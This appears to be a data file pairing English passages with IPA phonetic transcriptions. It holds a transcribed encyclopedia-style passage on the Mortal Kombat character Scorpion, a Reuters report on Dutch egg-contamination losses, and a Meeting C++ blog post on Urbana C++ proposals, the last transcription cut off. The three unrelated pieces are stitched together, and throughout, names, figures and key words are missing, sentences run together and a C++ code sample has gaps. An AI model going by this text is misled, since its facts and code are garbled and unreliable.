ˌripərˈkəʃənz əˈgɛnst ðə fər dɛθ, bət ˈæftər ðə ɪˈvɛnts əv ˈsizən wən, ðə ˌrɛzərˈɛktɪd (naʊ ˈskɔrpiən) ɪz kənˈvɪnst əv ˌkəlpəˈbɪlɪti ɪn hɪz ˈfæməliz ənd dɛθs, nɑt noʊɪŋ ðət ɪz nɑt riˈspɑnsəbəl ənd ɪz ˌɪnˈstɛd ˈɪnˌsɛnst əˈbaʊt ðə əˈtæk ðət hi bɪˈlivz wɑz ˈkɛrid aʊt baɪ hɪz oʊn lɪn ˈwɔrjərz. ɪn ðə ˈprɛzənt deɪ, ənd ˈskɔrpiən faɪt ɪn ðə ˈmɔrtəl ˈkɑmbæt ˈtʊrnəmənt, ˈdʊrɪŋ wɪʧ ˈskɔrpiən stæbz hɪz spɪr ˈɪntu ˈæŋkəl. dɪˈspaɪt pliz ðət hi wɑz nɑt ˌɪnˈvɑlvd ɪn ðə dɛθ əv hɪz klæn ənd ˈfæməli, ˈskɔrpiən rɪps aʊt hɪz spaɪn. ðɪs ˈstɔriˌlaɪn wɑz pleɪd aʊt ˈoʊvər ðə ˈsɛvənθ ənd eɪθ ˈɛpɪˌsoʊdz ənd fɪlmd ɪnˈtaɪərli ɪn ˈɪŋlɪʃ. deɪl sɛd ðət ðə ˈsɪriz "challenge[s*] ðə əˈsəmpʃənz ðət [ˈskɔrpiən ənd] hæv ˈɔlˌweɪz bɪn swɔrn hæv nu leɪərz ɪn ðɛr ˈstɔri ənd pərˈmoʊʃən ənd ˈmərʧənˌdaɪz ˈɛdət əˈlɔŋ wɪθ ðə ərˈɪʤənəl ˈsɪriz ˈkɛrɪktərz, ˈskɔrpiən wɑz ˈhaɪˌlaɪtɪd ɔn ən ˌɪndəˈvɪʤəwəl træk frəm ðə ˌɪˈmɔrtəlz' 1994 ˈælbəm ˈmɔrtəl ˈkɑmbæt: ðə ˈælbəm. ˈtaɪtəld "lɔst soʊl bɛnt ɔn riˈvɛnʤ", ɪt ˈfiʧərz ə ˈsoʊˌloʊ meɪl ˈsɪŋər wɪθ ə fɔlˈsɛˌtoʊ ˈvoʊkəl staɪl rɪˈzɛmbəlɪŋ ðət əv ˈʤɪmi ˈsəmərˌvɪl, ənd ðə ˈlɪrɪks kənˈsɪst ˈoʊnli əv ðə ˌrɛpəˈtɪʃən əv ðə sɔŋ ˈtaɪtəl ənd vɔɪs ˈsæmpəlz əv boʊθ spɪr tɔnts frəm ðə fərst geɪm. ðə ˈkɛrɪktər həz ˈfiʧərd ɪn ˈvɛriəs taɪps əv ˈmərʧənˌdaɪz ˈdʊrɪŋ hɪz ˈtɛnjər ɪn ðə ˈsɪriz, ˈmoʊstli ˈækʃən ˈfɪgjərz ənd ˈskəlpʧərz. ˈhæzbroʊ riˈlist ðə fərst ˈskɔrpiən ˈfɪgjərz ɪn 1994 ə ˈvərʒən ɪn wɪʧ hɪz mæsk wɑz blu ənd hi wɑz ˈpækɪʤd wɪθ ə ˈplæstɪk ˈskɔrpiən ækˈsɛsəri, ðɛn ə ˈfɪgjər huz dɪˈzaɪn ənd ˈpækɪʤd ˈwɛpənri wər mɔr ɪn laɪn wɪθ ðə geɪmz. tɔɪ ˈaɪlənd dɪˈstrɪbjətəd ə ˈskɔrpiən ˈfɪgjər ɪn 1996 ɛz pɑrt əv ðɛr ˈtrɪləʤi kəˈlɛkʃən, wɪʧ ˌɪnˈkludɪd ə pɛr əv hookswords*, ənd ˈɪnfənət ˈkɑnsɛpts pʊt aʊt ə ˈskɔrpiən ˈfɪgjər ɪn 1999 riˈlist ə 6 dɪˈsɛpʃən ˈfɪgjər ɪn 2005 ənd ə 2006 ˈʃɑoʊˌlɪn məŋks ˈfɪgjər ðət wɑz ˈɔlsoʊ ˌɪnˈkludɪd ɛz pɑrt əv ə hɑt wɪθ ɪn əˈdɪʃən tɪ ə kəˈlɛkʃən əv ˈfɪgjərz ɪn 2011 ə 4 ˈfɪgjər frəm ðɛr ə "klassic*" ənd ə "ˈrɛtroʊ" ˈfɪgjər ðət ˈfiʧərd ən ˌɪnərˈʧeɪnʤəbəl skəl hɛd ənd wɪʧ wɑz ˈpækɪʤd wɪθ, ˈrɛptaɪl ənd smoʊk ɪn ə bɑks kəˈlɛktəbəlz riˈlist ə hoʊst əv ˈskɔrpiən ˈmərʧənˌdaɪz ɪn 10 (wɪθ aɪz) ənd 18 əˈlɔŋ wɪθ tu skeɪl wɪθ ə 15 beɪs ənd aɪz; ənd ə sˈmɔlər bəst wɪθ ən 11 beɪs ðət ˈfiʧərd ə dɪˈtæʧəbəl pɑp ˈkəlʧər ʃɑk dɪˈstrɪbjətəd ə bəst ɪn 2011 ðət ˈfiʧərd rɪˈmuvəbəl ˈʃoʊldər pædz ənd ɛz wɛl ɛz ə 19 ˌstæʧuˈɛt beɪst ɔn hɪz dɪˈzaɪn ɛz pɑrt əv ðɛr "ˈmɔrtəl ˈkɑmbæt klassics*" ə ˈstæˌʧu wɑz riˈlist baɪ ðə ˈkəmpəˌni ɪn 2012 ɪn wɪʧ ˈskɔrpiən wɑz ˈskəlptɪd ɪn ə poʊz ənd wɑz ˈaʊtˌfɪtɪd ɪn ɔl ˈskɔrpiən wɑz wən əv ˈθərˈtin ˈkɛrɪktərz dɪˈpɪktɪd ɔn ˈstændɪŋ ˈkɑrdˌbɔrd ˈkəˌtaʊts frəm ədˈvænst riˈlist ə ˈskɔrpiən ɪn ənd hi wɑz wən əv tˈwɛnti ˈkɛrɪktərz ˈfiʧərd ɔn ɛks kəˈlɛktəbəl ˈmægnəts baɪ ˈhoʊlˌseɪl ðət hi əˈpɪrd əˈlɔŋ wɪθ kabal*, kwɔn kaɪ, ənd ʃaʊ kɑn ɪn ə kəˈlɛkʃən əv ˈfɪgjərz riˈlist baɪ ɪn rɪˈsɛpʃən ənd ˈlɛgəsi ˈɛdət ˈkəlʧərəl ˌɪmˈpækt ˈɛdət ðə ˈkɛrɪktər həz meɪd ˈsɛvərəl ˈkæmiˌoʊ əˈpɪrənsəz ɪn ˈtɛləˌvɪʒən ˈproʊˌgræmz, ˌɪnˈkludɪŋ ɪn ðə ˈænəˌmeɪtɪd ˈsɪriz drɔn təˈgɛðər 2005 ˈɛpɪˌsoʊd "ðə wən wɛˈrɪn ðɛr ɪz ə bɪg twɪst: pɑrt 2 ˈroʊˌbət ˈʧɪkən 2005 ˈɛpɪˌsoʊd ˈprɛzənt"), ənd ðə ˈklivlənd ʃoʊ 2010 ˈɛpɪˌsoʊd "əˈnəðər bæd ˌθæŋksˈgɪvɪŋ"). prəˈfɛʃənəl ˈrɛsələr ˈkoʊdi roʊdz drɛst əp ɛz ˈskɔrpiən fər ˌhæləˈwin ɪn ˈskɔrpiən wɑz ˈfiʧərd əˈlɔŋ wɪθ,,, ənd ɪn ˈkɑmədi ˈsɛntrəlz 2014 ˈænəˌmeɪtɪd ʃɔrt fɪlm ˈmɔrtəl ˈkɑmbæt, ɪn wɪʧ hi wɑz riˈneɪmd "aɪərn ˈʃoʊgən" ənd wɑz tɪ kəmˈpit ɪn "jaʊ zhang's*") ˈəndərˌgraʊnd ˈtʊrnəmənt ˌbiˈfɔr ɪt ɪz dɪˈleɪd du tɪ ðə ˈəðər kənˈtɛstənts biɪŋ no-shows*. wɪθ ʒɑŋ əˈneɪbəl tɪ faɪnd ə rɪˈpleɪsmənt, aɪərn ˈʃoʊgən ɪz dɪˈklɛrd ðə ˈtʊrnəmənt ˈvɪktər ˈæftər hi ˈfeɪtəli spɪrz ə ˈpitsə hu ˈɛnərz ðə ˈkrɪtɪkəl rɪˈsɛpʃən ənd ˌpɑpjəˈlɛrəti ˈɛdət ˈskɔrpiən ɪz ˈɔfən rɪˈgɑrdɪd ɛz wən əv ðə moʊst ˈpɑpjələr ənd ˌaɪˈkɑnɪk ˈkɛrɪktərz ɪn ðə ˈmɔrtəl ˈkɑmbæt ˈfrænˌʧaɪz, ənd ɪn ðə ˈʒɑnrə ɪn ˈʤɛnərəl. geɪv ɪm ənd frəm strit ˈfaɪtər ə ʃɛrd əˈwɔrd fər ðə bɛst ˈfaɪtər əv geɪm ˌɪnˈfɔrmər ˈreɪtɪd ˈskɔrpiən ðə θərd bɛst ˈfaɪtɪŋ geɪm ˈkɛrɪktər ɪn waɪl ˈnɛtˌwərks ræŋkt ˈskɔrpiən ˈsɛkənd ˈoʊnli tɪ ðə ˈsɪriz' meɪn proʊˈtægənəst lju kɑŋ ɪn ðɛr 2012 lɪst əv ðə tɔp ˈkɛrɪktərz ɪn ðə ˈskɔrpiən wɑz ˈreɪtɪd ðə θərd bɛst ˈnɪnʤə ˈkɛrɪktər ɪn ˈvɪdioʊ geɪmz baɪ ʧit koʊd ˈsɛntrəl ɪn ənd pleɪ ˈsɪmələrli ræŋkt ɪm fɔrθ ɔn ðɛr oʊn lɪst ɪn ˈlukəs ˈsəlɪvən əv ræŋkt ɪm ɛz ðə ˈsɛvənθ bɛst ˈfaɪtɪŋ geɪm ˈkɛrɪktər ɪn ðə ˈhɪstəri, ˈsteɪtɪŋ, "ˈskɔrpiən həz səm təf ˌkɑmpəˈtɪʃən ɪn ðə ˈfrænˌʧaɪz, bət nən kəm kloʊz tɪ ðə ʃɪr ˈkulnəs əv hɪz ænˈtægənəst' ˈfæktər. dɪˈspaɪt ðə fækt ðət hi ˈstɑrtɪd aʊt ɛz ə mɪr ˈpælət swɑp, əˈpil meɪd ɪm ə ˈfrənˌtrənər ɪn ˈɛvəri ˈmeɪʤər geɪm tɪ ˈkɑmplɛks ˈfiʧərd ˈskɔrpiən ɪn ə hoʊl hoʊst əv lɪsts: hi wɑz ræŋkt ðə fɪθ moʊst ˈbrutəl ˈfaɪtər ɪn ðə ənd ðə bɛst ˈvɪdioʊ geɪm ɪn əˈdɪʃən tɪ ðə fɔrθ "moʊst ˈdɑmənənt" ˈfaɪtɪŋ geɪm ðə "moʊst ˈbæˌdæs" ˈvɪdioʊ geɪm ˈkɛrɪktər əv ɔl ənd wən əv ˈvɪdioʊ geɪm ˈkɛrɪktərz hu dɪˈzərvd ðɛr oʊn ˈspɪˌnɔf ˈtaɪtəl: ju wɔnt tɪ ədˈmɪt ɪt ər nɑt, ˈskɔrpiən rənz ðə [mk*] ˈsɪriz mɔr ðən lju kɑŋ ˈɛvər ɪn 2008 roʊt ðət ˌɔlˈðoʊ ˈskɔrpiən wɑz ˌɪˈnɪʃəli ə ˈkɛrɪktər, hi "ɪz ˈæˌkʧuəli ə lɔt mɔr ˈkɑmpləˌkeɪtəd ðən ðiz ˌɪˈnɪʃəl əˈpɪrənsəz lɛt ɪn 2013 hi wɑz neɪmd ˈrənərˌəp tɪ ɛz ðə "moʊst ˈbæˌdæs" ˈvɪdioʊ geɪm ˈkɛrɪktər baɪ ðə ˈəltəmət ˈskɔrpiən wɑz ˈvoʊtɪd ðə ˈsɪriz' ˈgreɪtəst ˈkɛrɪktər ɪn ə 2013 fæn poʊl ˈhoʊstɪd baɪ ənd ˈfɪnɪʃt θərd bɪˈhaɪnd ənd smoʊk ɪn ðə ˈænjuəl "səˈprim ˈmɔrtəl ˈkɑmbæt ˈʧæmpiən" fæn poʊlz ˈhoʊstɪd baɪ ˈmɔrtəl ˈkɑmbæt ˈɔnˌlaɪn ɪn bət wɑz ɪˈlɪməˌneɪtɪd ɪn ðə loʊər raʊnz ɪn 2012 ənd ɛz ˈskɔrpiən ɪz ˈrɛgjələrli ˌɪntərtˈwaɪnd wɪθ θruaʊt ðə ˈsɪriz, ðeɪ hæv ˈɔfən bɪn pɛrd təˈgɛðər ɪn rɪˈgɑrdz tɪ ˈkrɪtɪkəl rɪˈsɛpʃən. ðeɪ taɪd fər ˈsɛkənd ɔn 2012 lɪst əv ðə moʊst ˌaɪˈkɑnɪk ˈfaɪtɪŋ geɪm pleɪst fɔrθ ɔn ðɛr 2013 lɪst əv ðə tɔp tɛn ənd ʃɛrd ðə fɪθ spɑt ɔn ðə tɔp ˈnɪnʤə lɪst baɪ ˈpiˈsi wərld ɪn hi taɪd wɪθ æt ðə tɔp əv geɪm ˌrɛvəˈluʃənz 2006 lɪst əv ðə tɔp tɛn "oʊld skul" ənd ə 2011 ˈɑrtɪkəl dɪˈskəst ðɛr ˌɛvəˈluʃən əˈkrɔs ðə ˈmɔrtəl ˈkɑmbæt ˈsɪriz, ˈsaɪtɪŋ ðɛm ɛz ɪts tu moʊst ˈpɑpjələr təˈgɛðər, ˈskɔrpiən ənd wər ˈvoʊtɪd ðə fɪθ moʊst ˌaɪˈkɑnɪk ˈkɛrɪktərz ɪn ðə tu ˈdɛkeɪdz əv ðə ˈpleɪˌsteɪʃən baɪ ˈridərz əv ˈpleɪˌsteɪʃən əˈfɪʃəl ˈmægəˌzin ɪn ˈskɔrpiən ˈɔlsoʊ pleɪst θərd, ʤɪst bɪˈhaɪnd, ɪn ə 2016 ˈridərz poʊl baɪ ˈhɑbi fər ðə moʊst ˈpɑpjələr ˈkɛrɪktər ɪn ɔl ˈfaɪtɪŋ geɪmz, wɪθ ðə stæf ˈnoʊtɪŋ ɪm dɪˈfitɪŋ ðə laɪks əv mishima*, chun-li*, ənd ˈivɪn ræŋkt ˈskɔrpiən,, ənd ðə ˈəðər ˈnɪnʤəz frəm ðə ˈsɪriz θərd ɪn ðɛr 2009 lɪst əv ðə bɛst ˈvɪdioʊ geɪm ˈkɛrɪktərz, ˈædɪŋ ðət ˈmɪdˌweɪ geɪmz "həz tərnd ðə ɑrt əv ˈmeɪkɪŋ nu ˈkɛrɪktərz frəm ˈəðər, ˈkɛrɪktərz ˈɪntu ə ˈrɑbərt əv ˈhɑrdˈkɔr ˈgeɪmɪŋ 101 kənˈsɪdərd tɪ bi "ə ˈbɛtər fɪt" ðən ˈskɔrpiən fər əˈpɪrɪŋ ɪn psi-ops*: ðə kənˈspɪrəsi, "ˈgɪvɪn haʊ məʧ ɪz juzd θruaʊt ðə ˈspɛʃəl muvz ənd fəˈtælɪtiz hæv bɪn ˈmoʊstli ˈvɛri wɛl rɪˈsivd, tu. ɪn 2010 ˈlɪstɪd "ˈfleɪmɪŋ skəl" ɛz ðə ˈsɛkənd bɛst fəˈtælɪti wɪˈθaʊt ˈspɛsəˌfaɪɪŋ ˈɛni ˌpɑˈtɪkjələr ˈtaɪtəl ɪn ðə ˈsɪriz, du tɪ haʊ ðə pleɪərz pərˈsɛpʃən əv ðə ˈkɛrɪktər ˈʧeɪnʤɪz wɪn hi riˈmuvz hɪz ðeɪ kɔld ɪt ən "ɪnˈdʊrɪŋ ˈklæsɪk", ˈnoʊtɪŋ ðət ðə ˈfɪnɪʃər wɑz ˈnoʊtəbli ənˈʧeɪnʤd ɪn fˈjuʧər geɪmz ɛz ə rɪˈzəlt əv ɪts kəˈnɛkʃən wɪθ ðə hɪz spɪr əˈtæk wɑz ræŋkt baɪ ɛz ðə tɔp ˈwɛpən ɪn ənd naɪnθ ɪn 2002 lɪst əv ðə tɔp tɛn ˈspɛʃəl muvz əv ɔl taɪm ɛz ðə ˈsɪŋgəl moʊst ˈpaʊərfəl jɛt ˈbælənst əˈtæk ɪn ðə ərˈɪʤənəl geɪm, ɛz wɛl ɛz fər ɪts ˌɪˈnɪʃəl ʃɑk ˈvælju, waɪl ɪt "ðə dɪˈfɪnɪtɪv ˈmɔrtəl ˈkɑmbæt ðə "ˈnɛðər geɪt" frəm wɑz ˌɪnˈkludɪd baɪ ɔn ðɛr lɪst əv ðə geɪmz naɪn moʊst ˈbrutəl hɪz ˈfrɛndʃɪp, ʃɛrd wɪθ ənd ˈrɛptaɪl, pleɪst ɪn ˈprimə geɪmz' 2014 lɪst əv ðə ˈsɪriz' tɔp 50 fəˈtælɪtiz, ɪn əˈdɪʃən tɪ ðə "ˈnɛðər geɪt", hɪz steɪʤ fəˈtælɪti frəm ənd ðə "ˈfleɪmɪŋ skəl" frəm ðə ərˈɪʤənəl wi gɑt ðɪs ˈkəvərd ræŋkt ðə "ˈnɛðər geɪt" əˈməŋ ðə tɔp ˈfɪnɪʃərz: dɪz əˈnəðər spaɪn rɪp ɪn ðɪs geɪm, bət nɑt ɛz riˈpəlsɪv ɛz ɪt wɑz ə ˈdɛkeɪd əˈgoʊ. ˈskɔrpiən, ˌhaʊˈɛvər, həz faʊnd ə nu weɪ tɪ juz hɪz ˈfeɪvərɪt ˈwɛpən fər ˈmæksəməm peɪst ˈreɪtɪd ɪt ðə fɔrθ bɛst fəˈtælɪti frəm ɪn əˈdɪʃən tɪ ˈreɪtɪŋ ðə "ˈfleɪmɪŋ skəl" ɛz ðə θərd bɛst ˈfɪnɪʃər frəm ðə fərst ˈkɑmplɛks ræŋkt ðə "ˈfleɪmɪŋ skəl" læst ɪn ðɛr lɪst əv ðə 20 bɛst ˈfɪnɪʃɪŋ muvz ɪn 2013 ˈkɔlɪŋ ɪt "ˈkripi tɪ ðə ˌhaʊˈɛvər, hɪz frəm (ə ˈpɛŋgwən ðət leɪz ən ɪkˈsploʊdɪŋ ɛg) taɪd wɪθ ðət əv reɪn ɛz ðə eɪθ wərst ˈfɪnɪʃər ɪn ðə ˈsɪriz əˈkɔrdɪŋ tɪ "gɪt ˈoʊvər hir!" wɑz ˈlɪstɪd ɪn pleɪz ʤoʊk lɪst əv tɛn bɛst əˈkɔrdɪŋ tɪ ˈpleɪˌsteɪʃən ˈjunəˌvərs ɪn 2011 ˈskɔrpiən "həz spɔnd wən əv ðə moʊst ˌaɪˈkɑnɪk ɪn ˈgeɪmɪŋ ˈhɪstəri" ənd "rɪˈmeɪnz ə fərm fæn ˈfeɪvərɪt ˈnaɪnˈtin jɪrz sɪns hɪz ðə freɪz wɑz ə ˈfæktər ɪn ˈræŋkɪŋ ˈskɔrpiən fərst ɔn ðɛr lɪst əv ðə tɔp ˈsɪriz si ˈɔlsoʊ ˈɛdət ˈmidiə rɪˈleɪtɪd tɪ ˈskɔrpiən æt ˈkɑmənz |
amsterdam (reuters) - dutch chicken farmers have suffered around 33 million euros ($39 million) in damages as a direct result of and other measures carried out after their eggs were found this month to be tainted with a toxic chemical.
the estimate, calculated by the university of at the request of the dutch ministry of economic affairs, was sent to parliament on wednesday ahead of a debate on how the affair has been handled.
investigators in early august detected, a flea poison, in slightly higher than acceptable levels on dutch chicken farms, leading quickly to, quarantines and other measures to prevent further production of contaminated eggs..
in the following days, millions of dutch chicken eggs and products containing egg were recalled in countries around europe and as far away as asia.
two dutch men who ran the cleaning company were arrested and continue to be held in the netherlands on suspicion of threatening public health for using the chemical on chicken farms.
belgian authorities are investigating whether the belgian firm that sold a cleaning product containing was also aware, complicit or responsible for it entering the food chain.
the calculation of the damages to around 200 dutch chicken farms did not attempt to measure the probably greater financial damages caused by the international egg recalls.
($1 = euros) | ˈæmstərˌdæm (ˈrɔɪtərz) dəʧ ˈʧɪkən ˈfɑrmərz hæv ˈsəfərd əraʊnd 33 ˈmɪljən ˈjuˌroʊz 39 ˈmɪljən) ɪn ˈdæmɪʤɪz ɛz ə dɪˈrɛkt rɪˈzəlt əv ənd ˈəðər ˈmɛʒərz ˈkɛrid aʊt ˈæftər ðɛr ɛgz wər faʊnd ðɪs mənθ tɪ bi ˈteɪntɪd wɪθ ə ˈtɑksɪk ˈkɛmɪkəl. ðə ˈɛstəˌmeɪt, ˈkælkjəˌleɪtɪd baɪ ðə ˌjunəˈvərsəti əv æt ðə rɪkˈwɛst əv ðə dəʧ ˈmɪnɪstri əv ˌɛkəˈnɑmɪk əˈfɛrz, wɑz sɛnt tɪ ˈpɑrləmɛnt ɔn ˈwɛnzˌdeɪ əˈhɛd əv ə dəˈbeɪt ɔn haʊ ðə əˈfɛr həz bɪn ˈhændəld. ˌɪnˈvɛstəˌgeɪtərz ɪn ˈərli ˈɔgəst dɪˈtɛktɪd, ə fli ˈpɔɪzən, ɪn sˈlaɪtli haɪər ðən əkˈsɛptəbəl ˈlɛvəlz ɔn dəʧ ˈʧɪkən fɑrmz, ˈlidɪŋ kˈwɪkli tɪ, kˈwɔrənˌtinz ənd ˈəðər ˈmɛʒərz tɪ prɪˈvɛnt ˈfərðər pərˈdəkʃən əv kənˈtæməˌneɪtɪd ɛgz.. ɪn ðə ˈfɑloʊɪŋ deɪz, ˈmɪljənz əv dəʧ ˈʧɪkən ɛgz ənd ˈprɑdəkts kənˈteɪnɪŋ ɛg wər rɪˈkɔld ɪn ˈkəntriz əraʊnd ˈjʊrəp ənd ɛz fɑr əˈweɪ ɛz ˈeɪʒə. tu dəʧ mɛn hu ræn ðə ˈklinɪŋ ˈkəmpəˌni wər ərˈɛstɪd ənd kənˈtɪnju tɪ bi hɛld ɪn ðə ˈnɛðərləndz ɔn səˈspɪʃən əv θˈrɛtənɪŋ ˈpəblɪk hɛlθ fər ˈjuzɪŋ ðə ˈkɛmɪkəl ɔn ˈʧɪkən fɑrmz. ˈbɛlʤən əˈθɔrətiz ər ˌɪnˈvɛstəˌgeɪtɪŋ ˈwɛðər ðə ˈbɛlʤən fərm ðət soʊld ə ˈklinɪŋ ˈprɑdəkt kənˈteɪnɪŋ wɑz ˈɔlsoʊ əˈwɛr, kəmˈplɪsət ər riˈspɑnsəbəl fər ɪt ˈɛnərɪŋ ðə fud ʧeɪn. ðə ˌkælkjəˈleɪʃən əv ðə ˈdæmɪʤɪz tɪ əraʊnd 200 dəʧ ˈʧɪkən fɑrmz dɪd nɑt əˈtɛmpt tɪ ˈmɛʒər ðə ˈprɑbəˌbli ˈgreɪtər ˌfaɪˈnænʃəl ˈdæmɪʤɪz kɔzd baɪ ðə ˌɪnərˈnæʃənɑl ɛg ˈriˌkɔlz. 1 ˈjuˌroʊz) |
looking for - urbana proposals from core, modules, networking, reflection and undefined behavior
published at by jens weller
the second part of my series about the proposals for urbana, where the next c++ committee meeting will be held. the papers grand us a first view on a distant future -. i also published last weekend an alternative listing of the proposals by mailing and subgroup. and maybe you also want to read the first part about proposals for concurrency.
this time it will be all subgroups with relative few papers combined, evolution and library then will follow with one or two postings each. i might get interrupted by my conference though...
core
the core working group deals with the language as it self, so its proposals are really a bit special.
from the paper:
this paper proposes to adjust the wording for exceptions to achieve the following goals: exception specifications as a semantic concept are separated from the grammar term
the description of is integrated into clause 5. the changes are intended to be editorial only, not changing semantics. due to the size of the changes, it seems prudent to have a full review for these instead of leaving the issue to the project editor alone.
not much more to say. wording only.
from the paper:
this paper presents the proposed resolution for core issue 330 as reviewed in of core working group, substantially cleaning up the wording around qualification converions. other than allowing the qualification conversions asked for in the issue, it also changes so that it may now cast away
so, this is another very detailed paper on a very special issue. i guess most people could ignore it, but it shows to what details the committee works on c++. standardization is just not about adding new features, it is also about keeping the standard valid in a logical and very detailed way.
string-literals have five encoding-prefixes, while character only have 4. is the missing one, which this paper seeks to fix, adding as an encoding prefix for character. again, this paper is mostly the changes in wording for the c++ standard.
this is a first draft of the technical specification about the needed extensions to c++ for making concepts a reality. which will need to be added to c++ for concepts is adding and defining the new keywords concept and requires. while technical specifications do define what will look like, they are also because of this nature very detailed and oriented to the standards sections. this makes them not the best read on most of their topics they are trying to standardize, the proposals are often better for human readers. for concepts, i think the best way to be informed is watching andrew talk about them from cppcon.
modules
this is the current state about the plans for integrating modules in c++. the authors name the current 4 goals of such a system:
componentization
isolation of
scalable build
support for modern developer tools
the problem for c++ and modules is, that the from c inherited build system takes a different approach, every file is in this model its own translation unit, which is compiled without the knowledge about dependencies to other translation units, this is later resolved by the linker. this is very effective, but also lowlevel. also, the authors point out, that this linkage model is 40 years old, and with integrating modules in c++, needs to adapted or replaced.
the module system is designed to coexist with the, but will not depend on it.
a central tenet of this proposal is that a module system for c++ has to be an evolution of the conventional compilation model. the immediate consequence is that it has to with the existing source file inclusion model while solving the significant problems and minimizing those that be completely solved.
a short overview on the planned features for modules:
module and import are new keywords
import is a replacement for include, the named model then gets imported into this translation unit
module module-name; declares a new module, a module has no scope
for scoping exist. you can only declare one module per translation unit
a module has to use export for its entry points, which form the modules interface
export
macros cannot get imported or exported
this would be really cool to have in, and the current proposal could really show a way how a module system for c++ could look like. yet it will be very interesting to see how this proposal evolves in the coming year.
networking / library
this proposal seeks to add a library derived from boost to the c++ standard. new in this revision is that the code has been updated to, by request of the library evolution working group. the authors refer to as the best introduction, but also include an echo server as an example how a standard version would look like. the library has a and an asynchronous part, which works with handlers, in the examples those are lambdas.
the goal of this proposal is to add support for
udp and sockets, including support for
client and server applications
scalability to handle many concurrent connections
protocol independence between and
name resolution
timers
to the c++ standard, out of scope of this document are:
protocols such as http, ftp, smtp, but also
encryption (ssl/tls)
os specific
reflection
some applications are designed to never return, so also main is not returning when they are properly run. to prevent the call to registered with atexit, the authors propose to add an optional[[noreturn]] attribute to main. then can make use of this hint and implement based on this. the authors also bring into discussion if for this not new versions of main should be added to the standard: void main() without and with arguments.
it has been proposed to add defaulted comparison operators to c++) by extending the core language, this paper proposes a different solution, to implement defaulted comparison operators using reflection traits, which are proposed in. the authors propose a type trait generate_comparison<t>, which defaults to true, so that the comparison operators get generated, so that you need to specialize it to false to suppress generation. the authors also discuss the opposite, that the default is false, and that you'd have to specialize to true or derive from with_default_comparisons.
the comparison operator is implemented with a template which enumerates the members of a class into a function for comparison:
template<class c> auto(const c& c) {
constexpr n = std::class_member::list_size_v<c>;
return_impl(c, std::make_index_sequence<n>()); }
this implementation uses the reflection traits from.
undefined behavior
there are some issues with the current specification of (ucn), which this paper tries to address. were introduced to c and c++ to allow internationalization without depending on source text encoding.
the two main goals of this paper are:
to limit or fully remove undefined behavior from the specification
to handle corner cases, which are yet not defined as undefined behavior
this paper deals with and undefined behavior. it also updates the specification for the to deal with lexical extensions raw-strings, user defined and new encoding prefixes). it aims at removing undefined behavior further from the and adding missing specifications.
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this and other posts on meeting c++ are enabled by my supporters on! | ˈlʊkɪŋ fər ərˈbænə prəˈpoʊzəlz frəm kɔr, ˈmɑʤulz, ˈnɛtˌwərkɪŋ, rɪˈflɛkʃən ənd ˌəndɪˈfaɪnd bɪˈheɪvjər ˈpəblɪʃt æt baɪ ʤɛnz ˈwɛlər ðə ˈsɛkənd pɑrt əv maɪ ˈsɪriz əˈbaʊt ðə prəˈpoʊzəlz fər ərˈbænə, wɛr ðə nɛkst si++ kəˈmɪti ˈmitɪŋ wɪl bi hɛld. ðə ˈpeɪpərz grænd ˈjuˈɛs ə fərst vju ɔn ə ˈdɪstənt fˈjuʧər aɪ ˈɔlsoʊ ˈpəblɪʃt læst ˈwiˌkɪnd ən ɔlˈtərnətɪv ˈlɪstɪŋ əv ðə prəˈpoʊzəlz baɪ ˈmeɪlɪŋ ənd ˈsəbˌgrup. ənd ˈmeɪbi ju ˈɔlsoʊ wɔnt tɪ rɛd ðə fərst pɑrt əˈbaʊt prəˈpoʊzəlz fər concurrency*. ðɪs taɪm ɪt wɪl bi ɔl ˈsəbˌgrups wɪθ ˈrɛlətɪv fju ˈpeɪpərz kəmˈbaɪnd, ˌɛvəˈluʃən ənd ˈlaɪbrɛˌri ðɛn wɪl ˈfɑloʊ wɪθ wən ər tu ˈpoʊstɪŋz iʧ. aɪ maɪt gɪt ˌɪntərˈəptɪd baɪ maɪ ˈkɑnfərəns ðoʊ... kɔr ðə kɔr ˈwərkɪŋ grup dilz wɪθ ðə ˈlæŋgwɪʤ ɛz ɪt sɛlf, soʊ ɪts prəˈpoʊzəlz ər ˈrɪli ə bɪt ˈspɛʃəl. frəm ðə ˈpeɪpər: ðɪs ˈpeɪpər prəˈpoʊzɪz tɪ əˈʤəst ðə ˈwərdɪŋ fər ɪkˈsɛpʃənz tɪ əˈʧiv ðə ˈfɑloʊɪŋ goʊlz: ɪkˈsɛpʃən ˌspɛsəfəˈkeɪʃənz ɛz ə sɪˈmæntɪk ˈkɑnsɛpt ər ˈsɛpərˌeɪtɪd frəm ðə ˈgræmər tərm ðə dɪˈskrɪpʃən əv ɪz ˈɪnəˌgreɪtɪd ˈɪntu klɔz 5 ðə ˈʧeɪnʤɪz ər ˌɪnˈtɛndɪd tɪ bi ˌɛdəˈtɔriəl ˈoʊnli, nɑt ˈʧeɪnʤɪŋ sɪˈmæntɪks. du tɪ ðə saɪz əv ðə ˈʧeɪnʤɪz, ɪt simz ˈprudənt tɪ hæv ə fʊl ˌrivˈju fər ðiz ˌɪnˈstɛd əv ˈlivɪŋ ðə ˈɪʃu tɪ ðə ˈprɑʤɛkt ˈɛdɪtər əˈloʊn. nɑt məʧ mɔr tɪ seɪ. ˈwərdɪŋ ˈoʊnli. frəm ðə ˈpeɪpər: ðɪs ˈpeɪpər ˈprɛzənts ðə prəˈpoʊzd ˌrɛzəˈluʃən fər kɔr ˈɪʃu 330 ɛz rivˈjud ɪn əv kɔr ˈwərkɪŋ grup, səbˈstænʃəli ˈklinɪŋ əp ðə ˈwərdɪŋ əraʊnd kˌwɑləfəˈkeɪʃən converions*. ˈəðər ðən əˈlaʊɪŋ ðə kˌwɑləfəˈkeɪʃən kənˈvərʒənz æst fər ɪn ðə ˈɪʃu, ɪt ˈɔlsoʊ ˈʧeɪnʤɪz soʊ ðət ɪt meɪ naʊ kæst əˈweɪ soʊ, ðɪs ɪz əˈnəðər ˈvɛri dɪˈteɪld ˈpeɪpər ɔn ə ˈvɛri ˈspɛʃəl ˈɪʃu. aɪ gɛs moʊst ˈpipəl kʊd ˌɪgˈnɔr ɪt, bət ɪt ʃoʊz tɪ wət ˈditeɪlz ðə kəˈmɪti wərks ɔn si++. stændərdɪˈzeɪʃən ɪz ʤɪst nɑt əˈbaʊt ˈædɪŋ nu ˈfiʧərz, ɪt ɪz ˈɔlsoʊ əˈbaʊt ˈkipɪŋ ðə ˈstændərd ˈvælɪd ɪn ə ˈlɑʤɪkəl ənd ˈvɛri dɪˈteɪld weɪ. hæv faɪv encoding-prefixes*, waɪl 